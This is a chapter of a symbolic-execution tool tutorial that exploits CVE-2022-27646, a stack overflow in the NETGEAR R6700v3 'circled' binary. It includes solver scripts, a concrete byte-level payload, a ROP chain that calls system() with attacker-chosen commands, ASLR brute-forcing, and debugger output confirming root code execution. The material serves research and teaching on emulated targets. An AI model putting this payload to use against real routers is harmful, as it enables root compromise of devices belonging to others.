44 KiB
Table of Contents
- Introduction
- Setup
- Emulation
- Tracing
- Symbolic Execution
- Vulnerability CVE-2022-27646
- Exploitation
Exploitation
In this final chapter, we will show the usage of two analysis modules provided by
Morion, morion_control_hijacker and
morion_rop_generator (see also
Symbolic Execution: Analysis Modules). We will explain how they
might first help us to build a proof-of-concept (PoC) exploit, which we can then turn into a
powerful exploit, giving us a reverse shell on the targeted devices.
The first module, morion_control_hijacker, allows us to detect situations, where registers that
might influence the control-flow (typically the pc register), get a value assigned that relies on
a symbolic variable. When symbolic variables are assigned to inputs an attacker controls, the module
helps to identify and reason about control-flow hijacking conditions.
Afterwards, we will motivate the usage of a Return Oriented Programming (ROP) chain for our
exploit to work. Morion's second module mentioned
in this chapter, morion_rop_generator, might assist us in building one, given the actual
restrictions we might have. We can give it as inputs a candidate ROP chain (list of ROP gadgets), as
well as a list of preconditions that must be fulfilled (such as [sp+32] == 0xb8). The module then
determines whether such a candidate chain is feasible or not, and if so, what the
attacker-controllable inputs must be to trigger it.
Analysis Module morion_control_hijacker
In the following, we use and analyze the concrete execution trace we recorded in
Tracing: Run. Remember that the trace was stored to a file named
circled.yaml and recorded the instructions of binary circled, while it processed the file
circleinfo.txt. The file circleinfo.txt contained the proof-of-vulnerability (PoV) payload
"A"*1021 + " X".
Vulnerability Characteristics
Let us start by using Morion's analysis module
morion_control_hijacker, with the aforementioned trace as input.
$ morion_control_hijacker circled.yaml
[...]
[2024-04-11 11:35:34] [DEBG] 0x0000cf1c (ff df 8d e2): add sp, sp, #0x3fc
[2024-04-11 11:35:34] [DEBG] 0x0000cf20 (03 db 8d e2): add sp, sp, #0xc00
[2024-04-11 11:35:34] [DEBG] 0x0000cf24 (f0 8f bd e8): pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
[...]
[2024-04-11 11:35:43] [WARN] [POST] Potential control hijack due to unrestricted register 'pc'.
_ _ _ _
_ __ ___ ___ _ __(_) ___ _ __ ___| |__ ___| | |
| '_ ` _ \ / _ \| '__| |/ _ \| '_ \ / __| '_ \ / _ \ | |
| | | | | | (_) | | | | (_) | | | | \__ \ | | | __/ | |
|_| |_| |_|\___/|_| |_|\___/|_| |_| |___/_| |_|\___|_|_|
Investigate potential control hijack...
Available objects:
- ctx
- ast
Type quit(), exit() or ctrl-d to leave the interpreter.
In [1]:
Morion stops after the pop instruction at
address 0xcf24 and prints the message Potential control hijack due to unrestricted register 'pc'.
This means that register pc is based on some symbolic variable(s), i.e. in our specific example,
is somehow influenced by contents originating from file circleinfo.txt.
Morion entered an interactive (Python) shell that
allows us to further investigate the observed situation. For instance, we can perform a first
simple check to see, whether we can effectively set the pc to a different value:
In [1]: pc_ast = ctx.getRegisterAst(ctx.registers.pc)
In [2]: model = ctx.getModel(pc_ast == 0xa1a2a3a4)
In [3]: pprint(model)
{
392: 5132;;0xbeffc24c;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+392:8 = 0xa4,
393: 5132;;0xbeffc24d;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+393:8 = 0xa3,
394: 5132;;0xbeffc24e;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+394:8 = 0xa2,
395: 5132;;0xbeffc24f;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+395:8 = 0xa1
}
The first statement [1] accesses the Abstract Syntax Tree (AST) representation of register pc.
In the second statement [2], we ask the symbolic execution engine
(Triton in our case) for a model (or solution) to the
expression pc_ast == 0xa1a2a3a4. In other words, we ask what to do, to let the program flow to
address 0xa1a2a3a4. In statement [3], we then print a solution, if such a one exists. Among
others, the output of [3] tells us the following:
- The bytes we need to modify belong to a string
sthat was read from file stream0x21ae0using libc functionfgets. - We need to modify 4 bytes at string offsets 392, ..., 395 to the values
0xa4, ...,0xa1.
Note: File stream 0x21ae0 corresponds to file circleinfo.txt, as explained before.
Note: ctx and ast, as used above, correspond to the objects TritonContext and
AstContext, respectively. The documentation of all Python bindings provided by libTrition is
available here.
We can finish our initial manual investigation by typing quit [4]. At the end of the symbolic
trace execution, Morion lists us a summary about
the symbolic state. This gives a quick overview about which registers and memory locations we
might control at the end of the recorded trace.
In [4]: quit
[...]
[2024-04-11 11:37:37] [ERRO] Not terminated at a stop address: pc=0x41414140
[2024-04-11 11:37:37] [INFO] ... finished symbolic execution (pc=0x41414140).
[2024-04-11 11:37:37] [INFO] Start analyzing symbolic state...
[2024-04-11 11:37:37] [INFO] Symbolic Regs:
[2024-04-11 11:37:37] [INFO] pc=$$$$$$$$
[2024-04-11 11:37:37] [INFO] r10=$$$$$$$$
[2024-04-11 11:37:38] [INFO] r11=$$$$$$$$
[2024-04-11 11:37:38] [INFO] r4=$$$$$$$$
[2024-04-11 11:37:38] [INFO] r5=$$$$$$$$
[2024-04-11 11:37:38] [INFO] r6=$$$$$$$$
[2024-04-11 11:37:38] [INFO] r7=$$$$$$$$
[2024-04-11 11:37:38] [INFO] r8=$$$$$$$$
[2024-04-11 11:37:38] [INFO] r9=$$$$$$$$
[2024-04-11 11:37:38] [INFO] Symbolic Mems:
[2024-04-11 11:38:12] [INFO] 0xbeffc0c4=$$
[2024-04-11 11:38:12] [INFO] ...
[2024-04-11 11:38:12] [INFO] 0xbeffc4c2=$$
[2024-04-11 11:38:12] [INFO] 0xbeffc5c4=$$
[2024-04-11 11:38:12] [INFO] 0xbeffc6c4=$$
[2024-04-11 11:38:12] [INFO] ...
[2024-04-11 11:38:12] [INFO] 0xbeffcac0=$$
[2024-04-11 11:38:12] [INFO] ... finished analyzing symbolic state.
[2024-04-11 11:38:12] [INFO] Start storing file 'circled.yaml'...
[2024-04-11 11:38:12] [INFO] ... finished storing file 'circled.yaml'.
Note: Symbolic memory 0xbeffc0c4 - 0xbeffc4c2 corresponds to the stack buffer read by
function 1) fgets, as shown in Figure 5.4. Addresses
0xbeffc5c4 and 0xbeffc6c4 correspond to arg2 and arg1, the arguments of function
2) sscanf.
At this point, we learned that registers r4-r11, as well as the pc are based on symbolic variables that an attacker might control. We verified that we can modify the pc to point to another value. Further we got an intuition about the memory layout relevant for our exploit.
Exploit Strategy
With the intention to develop an exploit strategy, let us now inspect some security properties
of binary circled. For instance, we can do so by using the open-source tool
checksec (here outside
pwndbg):
pwndbg> checksec
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
Non-Executable (NX) Stack
Most relevant for us, we see that the binary circled has a non-executable (NX) stack. For our
exploit strategy, this means that we cannot just write instructions to the stack and redirect
execution to them. Instead, we will use a typical strategy to defeat NX memory, namely, by using a
technique commonly referred to as Return Oriented Programming (ROP). In ROP, one executes
carefully chosen instruction sequences (so called ROP gadgets) that are already present in the
binary's executable memory.
In our exploit, we will use a simple ROP chain that calls libc function system with a controlled
argument (command string to be executed). The corresponding chain is depicted in Figure 6.1 below:
Gadget 0 corresponds to the pop instruction at address 0xcf24 that we investigated above in
section
Exploitation: Vulnerability Characteristics. We
have seen that, due to the stack buffer overflow, we control the value that is popped from the stack
and put into register pc. We will try to make this value become 0xc9b8, so that control
eventually transfers to gadget 1. This is formally stated by Precondition 0.0 in Figure 6.1
(pc == [sp+8*4] == 0xc9b8).
As gadget 1, we choose one that consists of the following two instructions:
mov r0, r6: Move the value of register r6 (that, as we learned before, is based on a symbolic variable) to register r0.bl #0x94a0 <system@plt>: Call functionsystemfrom libc (r0 contains the command string argument - synopsis:int system(const char *command)).
With Preconditions 1.1 we define the command string (cmd[0] == 0x69 'i', cmd[1] == 0x64 'd',
...) we intend to execute, and on what stack address
(r6 == r0 == cmd == 0xbeffc0c4+396 == 0xbeffc250) it should be placed. As we will see below, for
the PoC exploit we use the command id>/id;#, which, when executed, writes the user id of the
targeted binary to a file. To understand why we put the command at address 0xbeffc250, consider
again the memory layout shown in Figure 5.4. The address
corresponds to a stack area read in by function fgets and immediately follows the 4 bytes where
the address of gadget 1 need to be placed (as we will also see later on). We choose this stack area,
since it allows to contain a command string of up to 625 characters.
On the one hand, this ROP chain is simple to understand, suitable to demonstrate some features of
Morion, and yet powerful enough to start a reverse
shell on the targeted device (as we will see in a moment). On the other hand, though, it will crash
the binary after function system returns, since we do not properly clean up the call stack. For us
this is not a problem, since the binary circled restarts after a crash. However, in the more
general sense, a crashing binary might lead to alerts, which threat actors typically want to avoid.
Note: Several (open-source) tools (such as ropper or ROPgadget) exist to help find suitable ROP gadgets in your targets.
Position-Independent Executable (PIE)
As can also be seen in the output of checksec above, the
binary circled is not a Position-Independent Executable (PIE). Its code is therefore always
loaded at virtual memory address 0x8000. With respect to our ROP chain this means that gadget 1
is always found at address 0xc9b8. Hardcoding this address as a jump target should therefore be
fine.
Address Space Layout Randomization (ASLR)
Another relevant protection measure to discuss, is Address Space Layout Randomization, or ASLR
for short. As opposed to NX and PIE, which are properties of the binary circled itself, ASLR is a
system, respectively kernel feature. The NETGEAR R6700v3 routers that we target, make use of
partial (or conservative) ASRL (as we also configured it in our
setup). This means that components such as shared libraries,
stack, heap, mmap and VDSO are randomized, i.e. loaded at different addresses at each run.
With respect to our targeted ROP chain (as depicted in Figure 6.1), this means that we cannot put
our intended command string at a fixed stack address (such as 0xbeffc250). Or to be more
precise, we can, but in most execution runs, the fixed address will not match the memory location
where our command resides. Important however is the term in most execution runs. This means that
occasionally, the fixed address will be correct (or sufficiently nearby) and the placed command will
successfully be executed by the system function. Since, and as we have already mentioned, the
binary circled restarts after our ROP chains crashed it, we have (theoretically) unlimited tries
to match the correct address. In other words, we are going to use stack address brute-forcing
to defeat ASLR.
Payload Generation
Now that we have developed an exploit strategy, let us next create a simple
proof-of-concept (PoC) exploit. To do so, we go back to the interactive (Python) shell, as
provided by morion_control_hijacker. Instead of manually typing individual commands, we create a
Python script and run it inside of Morion's shell
(with run -i <script>). The first script that we run, is
circled.rop1.py and looks like this:
[...]
# Preconditions
g0_sp_val = ctx.getConcreteRegisterValue(ctx.registers.sp)-9*CPUSIZE.DWORD
g0_pc_ast = ctx.getMemoryAst(MemoryAccess(g0_sp_val+8*CPUSIZE.DWORD, CPUSIZE.DWORD))
g0_pc_val = 0xc9b8
# Solve preconditions
model = ctx.getModel(g0_pc_ast == g0_pc_val)
pprint(model)
Note: Remember that the symbolic execution is at the state where the instruction
0xcf24: pop {..., pc} has been executed last.
We start by modelling Precondition 0.0. To do so, we first get the concrete value of register
sp, as it was before executing the pop instruction. Using this stack pointer value, we then
access the AST representation of the memory location that will be popped to the pc. Then we ask
the symbolic execution engine for a solution, such that the pc is equal to 0xc9b8, the address
of gadget 1 as discussed before. We run circled.rop1.py in
Morion's shell as shown below:
$ morion_control_hijacker circled.yaml
[...]
[2024-04-11 11:35:34] [DEBG] 0x0000cf1c (ff df 8d e2): add sp, sp, #0x3fc
[2024-04-11 11:35:34] [DEBG] 0x0000cf20 (03 db 8d e2): add sp, sp, #0xc00
[2024-04-11 11:35:34] [DEBG] 0x0000cf24 (f0 8f bd e8): pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
[...]
In [4]: run -i circled.rop1.py
{
392: 5132;;0xbeffc24c;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+392:8 = 0xb8,
393: 5132;;0xbeffc24d;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+393:8 = 0xc9,
394: 5132;;0xbeffc24e;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+394:8 = 0x00,
395: 5132;;0xbeffc24f;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+395:8 = 0x00
}
The printed solution tells us to set the bytes at offsets 392-395 in file circleinfo.txt to the
values \xb8\xc9\x00\x00.
Next we have to extend circled.rop1.py with Preconditions 1.1, corresponding to the system command we aim to run. The extended file, circled.rop2.py, looks like this:
[...]
# System command
cmd = "id>/id;#"
cmd_addr = 0xbeffc250
# Preconditions
g0_sp_val = ctx.getConcreteRegisterValue(ctx.registers.sp)-9*CPUSIZE.DWORD
g0_pc_ast = ctx.getMemoryAst(MemoryAccess(g0_sp_val+8*CPUSIZE.DWORD, CPUSIZE.DWORD))
g0_pc_val = 0xc9b8
g0_r6_ast = ctx.getMemoryAst(MemoryAccess(g0_sp_val+2*CPUSIZE.DWORD, CPUSIZE.DWORD))
g0_r6_val = cmd_addr
g0__r6_ast = ctx.getMemoryAst(MemoryAccess(cmd_addr, 4*CPUSIZE.DWORD))
g0__r6_val = int.from_bytes(bytes(cmd, "UTF-8"), byteorder="little")
# Solve preconditions
model = ctx.getModel(ast.land([
g0_pc_ast == g0_pc_val,
g0_r6_ast == g0_r6_val,
g0__r6_ast == g0__r6_val,
]))
pprint(model)
We first access the AST representation of register r6 and require it to be equal to 0xbeffc250.
Then we access the AST representation of the memory at this address (here 16 bytes in size) and
require it to match our PoC command string id>/id;#. Finally, the symbolic execution engine is
asked to print us a potential solution fulfilling all the specified conditions. We run script
circled.rop2.py in
Morion's shell like shown below:
$ morion_control_hijacker circled.yaml
[...]
[2024-04-11 11:35:34] [DEBG] 0x0000cf1c (ff df 8d e2): add sp, sp, #0x3fc
[2024-04-11 11:35:34] [DEBG] 0x0000cf20 (03 db 8d e2): add sp, sp, #0xc00
[2024-04-11 11:35:34] [DEBG] 0x0000cf24 (f0 8f bd e8): pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
[...]
In [5]: run -i circled.rop2.py
{
368: 5132;;0xbeffc234;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+368:8 = 0x50,
369: 5132;;0xbeffc235;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+369:8 = 0xc2,
370: 5132;;0xbeffc236;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+370:8 = 0xff,
371: 5132;;0xbeffc237;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+371:8 = 0xbe,
392: 5132;;0xbeffc24c;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+392:8 = 0xb8,
393: 5132;;0xbeffc24d;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+393:8 = 0xc9,
394: 5132;;0xbeffc24e;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+394:8 = 0x00,
395: 5132;;0xbeffc24f;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+395:8 = 0x00,
1419: 15451;;0xbeffc250;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+396:8 = 0x69,
1420: 15451;;0xbeffc251;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+397:8 = 0x64,
1421: 15451;;0xbeffc252;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+398:8 = 0x3e,
1422: 15451;;0xbeffc253;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+399:8 = 0x2f,
1423: 15451;;0xbeffc254;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+400:8 = 0x69,
1424: 15451;;0xbeffc255;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+401:8 = 0x64,
1425: 15451;;0xbeffc256;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+402:8 = 0x3b,
1426: 15451;;0xbeffc257;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+403:8 = 0x23,
1427: 15451;;0xbeffc258;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+404:8 = 0x00,
1428: 15451;;0xbeffc259;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+405:8 = 0x00,
1429: 15451;;0xbeffc25a;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+406:8 = 0x00,
1430: 15451;;0xbeffc25b;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+407:8 = 0x00,
1431: 15451;;0xbeffc25c;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+408:8 = 0x00,
1432: 15451;;0xbeffc25d;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+409:8 = 0x00,
1433: 15451;;0xbeffc25e;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+410:8 = 0x00,
1434: 15451;;0xbeffc25f;model;fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0);s+411:8 = 0x00
}
Like before, Morion gives us a solution for our
problem, i.e. tells us how to choose the contents of file circleinfo.txt to make the exploit work.
We implemented the above solution as a payload that
circled.server.py serves when launched with command-line argument
--payload "poc1":
[...]
# Serve requests for circleinfo.txt
[...]
elif payload == "poc1":
p = b"A"*368
p += b"\x50\xc2\xff\xbe"
p += b"B"*20
p += b"\xb8\xc9\x00\x00"
p += b"\x69\x64\x3e\x2f"
p += b"\x69\x64\x3b\x23"
p += b"C"*617
p += b" X"
[...]
Run PoC Exploit
Use the following steps to run the binary circled, while it is targeted with the proof-of-concept (PoC) payload:
- Start a HTTP server, delivering the PoC payload:
- System: ARMHF Guest
- Command:
python3 ./server/circled.server.py --payload "poc1"
- Emulate the binary circled with GDB attached (and therefore not using ASRL):
- System: ARMHF Guest (chroot)
- Command:
/circled.driver.sh --gdb
- Debug the binary circled:
- System: Analysis / Host (morion)
- Command:
cd morion/ # Ensure to be within the correct directory gdb-multiarch -q -x circled.debug.gdb # Use GDB for cross-platform remote debugging
When using the above steps, we will break at address 0xcf24. We can now validate that our exploit
works as intended (here using pwndbg):
[...]
► 0xcf24 pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
[...]
pwndbg> stepi
[...]
► 0xc9b8 mov r0, r6
0xc9bc bl #system@plt <system@plt>
[...]
pwndbg> x/s $r6
0xbeffc250: "id>/id;#", 'C' <repeats 192 times>...
pwndbg> continue
[...]
If the PoC exploit worked, you will find a file /id on the emulated router (System:
ARMHF Guest (chroot)) with the content uid=0 gid=0(root).
Analysis Module morion_rop_generator
The above process of getting a payload for the intended ROP chain is rather cumbersome, since we
need to access register and memory ASTs manually, in order to define the required model
restrictions. That is where the module morion_rop_generator comes into play.
Payload Generation
Module morion_rop_generator allows us to define the intended ROP chain within the trace file and
does the rest automatically. For instance, we can include our ROP chain (depicted in Figure 6.1) in
the file circled.yaml as shown below:
[...]
ropchains:
default:
- preconditions:
mems:
'[sp+32+0]': '0xb8' # pc == [sp+8*4] == 0x0000c9b8
'[sp+32+1]': '0xc9'
'[sp+32+2]': '0x00'
'[sp+32+3]': '0x00'
instruction:
['0x0000cf24', 'f0 8f bd e8', 'pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}', 'Gadget 0.0']
- preconditions:
instruction:
['0x0000c9b8', '06 00 a0 e1', 'mov r0, r6', 'Gadget 1.0']
- preconditions:
regs:
'r0': '0xbeffc250' # r0 == 0xbeffc0c4+396 == 0xbeffc250
mems:
'0xbeffc250': '0x69' # 'i'
'0xbeffc251': '0x64' # 'd'
'0xbeffc252': '0x3e' # '>'
'0xbeffc253': '0x2f' # '/'
'0xbeffc254': '0x69' # 'i'
'0xbeffc255': '0x64' # 'd'
'0xbeffc256': '0x3b' # ';'
'0xbeffc257': '0x23' # '#'
'0xbeffc258': '0x00' #
instruction:
['0x0000c9bc', 'b7 f2 ff eb', 'bl #0x94a0', 'Gadget 1.1']
Note: A trace file can include different ROP chains, differentiated by name. The ROP chain
included in the above file, for instance, has the name default.
As can be seen below, the module morion_rop_generator is run by giving the trace file
(circled.yaml) and the name of the intended ROP chain (default) as command-line arguments. The
module first symbolically executes the recorded trace and then tries to transfer control to the
specified ROP chain. For each instruction in the ROP chain it then performs the following steps:
- Load instruction's preconditions
- Solve the loaded preconditions
- Concretize the solution if one is found
- Execute the instruction symbolically
If solutions for all the preconditions have been found and all instructions in the ROP chain have been processed, corresponding payloads are dumped.
$ morion_rop_generator circled.yaml default
[...]
[2024-05-02 07:52:51] [DEBG] 0x0000cf1c (ff df 8d e2): add sp, sp, #0x3fc #
[2024-05-02 07:52:51] [DEBG] 0x0000cf20 (03 db 8d e2): add sp, sp, #0xc00 #
[2024-05-02 07:52:51] [INFO] ... finished symbolic execution (pc=0x0000cf24).
[2024-05-02 07:52:51] [INFO] Start loading preconditions of instruction 0 in ROP chain 'default'...
[2024-05-02 07:52:51] [DEBG] Regs:
[2024-05-02 07:52:51] [DEBG] Mems:
[2024-05-02 07:52:51] [DEBG] 0xbeffc84c == 0xb8
[2024-05-02 07:52:51] [DEBG] 0xbeffc84d == 0xc9
[2024-05-02 07:52:51] [DEBG] 0xbeffc84e == 0x00
[2024-05-02 07:52:51] [DEBG] 0xbeffc84f == 0x00
[2024-05-02 07:52:51] [INFO] ... finished loading preconditions of instruction 0 in ROP chain 'default'.
[2024-05-02 07:52:51] [INFO] Start solving preconditions of instruction 0 in ROP chain 'default'...
[2024-05-02 07:52:51] [DEBG] Solution:
[2024-05-02 07:52:51] [DEBG] 0xbeffc24c: 0xb8 [inst:5132][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+392]
[2024-05-02 07:52:51] [DEBG] 0xbeffc24d: 0xc9 [inst:5132][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+393]
[2024-05-02 07:52:51] [DEBG] 0xbeffc24e: 0x00 [inst:5132][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+394]
[2024-05-02 07:52:51] [DEBG] 0xbeffc24f: 0x00 [inst:5132][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+395]
[2024-05-02 07:52:51] [DEBG] 0xbeffc0c4: 0xff [inst:15451][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+0]
[2024-05-02 07:52:51] [INFO] ... finished solving preconditions of instruction 0 in ROP chain 'default'.
[2024-05-02 07:52:51] [INFO] Start concretizing preconditions of instruction 0 in ROP chain 'default'...
[2024-05-02 07:52:51] [DEBG] Regs:
[2024-05-02 07:52:51] [DEBG] Mems:
[2024-05-02 07:52:51] [DEBG] 0xbeffc84c: 0xb8
[2024-05-02 07:52:51] [DEBG] 0xbeffc84d: 0xc9
[2024-05-02 07:52:51] [DEBG] 0xbeffc84e: 0x00
[2024-05-02 07:52:51] [DEBG] 0xbeffc84f: 0x00
[2024-05-02 07:52:51] [INFO] ... finished concretizing preconditions of instruction 0 in ROP chain 'default'...
[2024-05-02 07:52:51] [INFO] Start symbolic execution of instruction 0 in ROP chain 'default'...
[2024-05-02 07:52:51] [DEBG] 0x0000cf24 (f0 8f bd e8): pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}# Gadget 0.0
[2024-05-02 07:52:51] [INFO] ... finished symbolic execution of instruction 0 in ROP chain 'default'.
[2024-05-02 07:52:51] [INFO] Start loading preconditions of instruction 1 in ROP chain 'default'...
[2024-05-02 07:52:51] [DEBG] Regs:
[2024-05-02 07:52:51] [DEBG] Mems:
[2024-05-02 07:52:51] [INFO] ... finished loading preconditions of instruction 1 in ROP chain 'default'.
[2024-05-02 07:52:51] [INFO] Start solving preconditions of instruction 1 in ROP chain 'default'...
[2024-05-02 07:52:51] [DEBG] Instruction 1 of ROP chain 'default' has no preconditions.
[2024-05-02 07:52:51] [INFO] ... finished solving preconditions of instruction 1 in ROP chain 'default'.
[2024-05-02 07:52:51] [INFO] Start concretizing preconditions of instruction 1 in ROP chain 'default'...
[2024-05-02 07:52:51] [DEBG] Regs:
[2024-05-02 07:52:51] [DEBG] Mems:
[2024-05-02 07:52:51] [INFO] ... finished concretizing preconditions of instruction 1 in ROP chain 'default'...
[2024-05-02 07:52:51] [INFO] Start symbolic execution of instruction 1 in ROP chain 'default'...
[2024-05-02 07:52:51] [DEBG] 0x0000c9b8 (06 00 a0 e1): mov r0, r6 # Gadget 1.0
[2024-05-02 07:52:51] [INFO] ... finished symbolic execution of instruction 1 in ROP chain 'default'.
[2024-05-02 07:52:51] [INFO] Start loading preconditions of instruction 2 in ROP chain 'default'...
[2024-05-02 07:52:51] [DEBG] Regs:
[2024-05-02 07:52:51] [DEBG] r0 == 0xbeffc250
[2024-05-02 07:52:51] [DEBG] Mems:
[2024-05-02 07:52:51] [DEBG] 0xbeffc250 == 0x69
[2024-05-02 07:52:51] [DEBG] 0xbeffc251 == 0x64
[2024-05-02 07:52:51] [DEBG] 0xbeffc252 == 0x3e
[2024-05-02 07:52:51] [DEBG] 0xbeffc253 == 0x2f
[2024-05-02 07:52:51] [DEBG] 0xbeffc254 == 0x69
[2024-05-02 07:52:51] [DEBG] 0xbeffc255 == 0x64
[2024-05-02 07:52:51] [DEBG] 0xbeffc256 == 0x3b
[2024-05-02 07:52:51] [DEBG] 0xbeffc257 == 0x23
[2024-05-02 07:52:51] [DEBG] 0xbeffc258 == 0x00
[2024-05-02 07:52:51] [INFO] ... finished loading preconditions of instruction 2 in ROP chain 'default'.
[2024-05-02 07:52:51] [INFO] Start solving preconditions of instruction 2 in ROP chain 'default'...
[2024-05-02 07:52:51] [DEBG] Solution:
[2024-05-02 07:52:51] [DEBG] 0xbeffc234: 0x50 [inst:5132][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+368]
[2024-05-02 07:52:51] [DEBG] 0xbeffc235: 0xc2 [inst:5132][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+369]
[2024-05-02 07:52:51] [DEBG] 0xbeffc236: 0xff [inst:5132][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+370]
[2024-05-02 07:52:51] [DEBG] 0xbeffc237: 0xbe [inst:5132][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+371]
[2024-05-02 07:52:51] [DEBG] 0xbeffc24c: 0xb8 [inst:5132][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+392]
[2024-05-02 07:52:51] [DEBG] 0xbeffc24d: 0xc9 [inst:5132][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+393]
[2024-05-02 07:52:51] [DEBG] 0xbeffc24e: 0x00 [inst:5132][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+394]
[2024-05-02 07:52:51] [DEBG] 0xbeffc24f: 0x00 [inst:5132][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+395]
[2024-05-02 07:52:51] [DEBG] 0xbeffc0c4: 0xff [inst:15451][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+0]
[2024-05-02 07:52:51] [DEBG] 0xbeffc250: 0x69 [inst:15451][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+396]
[2024-05-02 07:52:51] [DEBG] 0xbeffc251: 0x64 [inst:15451][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+397]
[2024-05-02 07:52:51] [DEBG] 0xbeffc252: 0x3e [inst:15451][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+398]
[2024-05-02 07:52:51] [DEBG] 0xbeffc253: 0x2f [inst:15451][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+399]
[2024-05-02 07:52:51] [DEBG] 0xbeffc254: 0x69 [inst:15451][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+400]
[2024-05-02 07:52:51] [DEBG] 0xbeffc255: 0x64 [inst:15451][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+401]
[2024-05-02 07:52:51] [DEBG] 0xbeffc256: 0x3b [inst:15451][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+402]
[2024-05-02 07:52:51] [DEBG] 0xbeffc257: 0x23 [inst:15451][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+403]
[2024-05-02 07:52:51] [DEBG] 0xbeffc258: 0x00 [inst:15451][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+404]
[2024-05-02 07:52:51] [INFO] ... finished solving preconditions of instruction 2 in ROP chain 'default'.
[2024-05-02 07:52:51] [INFO] Start concretizing preconditions of instruction 2 in ROP chain 'default'...
[2024-05-02 07:52:51] [DEBG] Regs:
[2024-05-02 07:52:51] [DEBG] r0: 0xbeffc250
[2024-05-02 07:52:51] [DEBG] Mems:
[2024-05-02 07:52:51] [DEBG] 0xbeffc250: 0x69
[2024-05-02 07:52:51] [DEBG] 0xbeffc251: 0x64
[2024-05-02 07:52:51] [DEBG] 0xbeffc252: 0x3e
[2024-05-02 07:52:51] [DEBG] 0xbeffc253: 0x2f
[2024-05-02 07:52:51] [DEBG] 0xbeffc254: 0x69
[2024-05-02 07:52:51] [DEBG] 0xbeffc255: 0x64
[2024-05-02 07:52:51] [DEBG] 0xbeffc256: 0x3b
[2024-05-02 07:52:51] [DEBG] 0xbeffc257: 0x23
[2024-05-02 07:52:51] [DEBG] 0xbeffc258: 0x00
[2024-05-02 07:52:51] [INFO] ... finished concretizing preconditions of instruction 2 in ROP chain 'default'...
[2024-05-02 07:52:51] [INFO] Start symbolic execution of instruction 2 in ROP chain 'default'...
[2024-05-02 07:52:51] [DEBG] 0x0000c9bc (b7 f2 ff eb): bl #0x94a0 # Gadget 1.1
[2024-05-02 07:52:51] [INFO] ... finished symbolic execution of instruction 2 in ROP chain 'default'.
